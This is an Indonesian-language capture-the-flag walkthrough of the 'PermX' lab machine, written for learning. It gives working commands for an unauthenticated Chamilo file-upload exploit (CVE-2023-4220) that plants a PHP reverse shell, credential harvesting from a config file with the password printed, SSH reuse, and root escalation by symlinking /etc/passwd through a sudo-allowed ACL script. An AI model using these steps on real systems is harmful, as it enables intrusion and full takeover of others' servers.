IP Machine: 10.129.58.110
Domain Machine: http://permx.htb/
SERVICE ENUMERATION
Saya melakukan enumerasi menggunakan NMAP pada ip mesin 10.129.58.110 dengan command berikut:
$ nmap -Pn 10.129.58.110
Kemudian terdapat open port 80 dan 22 yaitu port http dan port ssh.
FUZZING DIRECTORY & SUBDOMAIN
Kemudian saya mengakses http dan terdapat domain http://permx.htb/ dan melakukan fuzzing directory menggunakan dirsearch
Pada domain utama tidak terdapat directory atau file yang dapat dienumerasi lebih lanjut, kemudian saya melakukan subdomain enumeration menggunakan wffuz.
Command:
$ wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 400,404,403,302 -H "Host: FUZZ.permx.htb" -u http://permx.htb -t 100
Terdapat subdomain http://lms.permx.htb dan saya melakukan fuzzing directory kembali.
EXPLOITATION CMS CHAMILO 1.11.24
Terdapat beberapa directory dan file sensitive tetapi tidak menemukan apa-apa dan saya tertuju pada directory documentation pada versi CMS lms yang sedang digunakan.
Chamilo 1.11.24
Dan pada versi cms tersebut terdapat CVE-2023-4220 dengan vulnerability File Upload.
Referensi: https://starlabs.sg/advisories/23/23-4220/
Membuat file revshell melalui https://www.revshells.com/
$ nano bc.php
Upload file rev.php menggunakan command dibawah
$ curl -F 'bigUploadFile=@bc.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
Melakukan netcat untuk listen revshell
$ nc -nlvp 1338
The file has successfully been uploaded.
$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rev.php'
Berhasil revshell dengan uid=33(www-data) gid=33(www-data) groups=33(www-data)
USER ENUMERATION
Saya melakukan find config pada folder website untuk menemukan password dan melihat berapa banyak user yang aktif.
$ cat /etc/passwd | grep 'bash'
Terdapat 2 user yang tersedia yaitu MTZ dan ROOT.
$ find / -name config*.php 2>/dev/null
Pada file /var/www/chamilo/app/config/configuration.php terdapat koneksi database
User: chamilo
Password: 03F6lY3uXAP2bkW8
LOGIN SSH
Karena sebelumnya terdapat open port ssh saya mencoba login ssh menggunakan user mtz dengan password koneksi database tersebut.
$ ssh mtz@10.129.58.110
Saya mendapatkan flag user.txt
Flag User: 31dd1d4c1d0ab31ce184901ee5604545
Kemudian memeriksa hak akses user yang diberikan oleh user root dengan menjalankan command berikut:
$ sudo -l
Terdapat file pada /opt/acl.sh yang dapat dijalankan oleh user mtz, didalam file acl.sh adalah untuk mengubah izin hak akses pada file tertentu /home/mtz.
WEAK FILE PERMISSION WRITABLE /ETC/PASSWD
Sekarang saya akan menjalankan openssl untuk membuat password hash “milky” dengan format yang ada di /etc/passwd
$ openssl passwd -1
Kemudian saya menjalankan file symlink sebagai berikut:
$ ln -s /etc/passwd 1.txt
Menjalankan file acl.sh untuk file 1.txt
$ sudo ./acl.sh mtz rwx /home/mtz/1.txt
Menambahkan user maul kedalam file 1.txt dengan command berikut:
$ echo "maul:$1$BzxkgCH0$XDodoVbNqKJk8R6cP1nsp1:0:0:maul:/home/maul:/bin/bash" >> /home/mtz/1.txt
Login user maul sebagai root
$ su maul
Dan berhasil mendapatkan flag root.
FLAG ROOT: 95663ee0a163815cac22e668657819c1
Mohon maaf bila ada salah dalam pengetikan, artikel ini bertujuan untuk belajar terima kasih.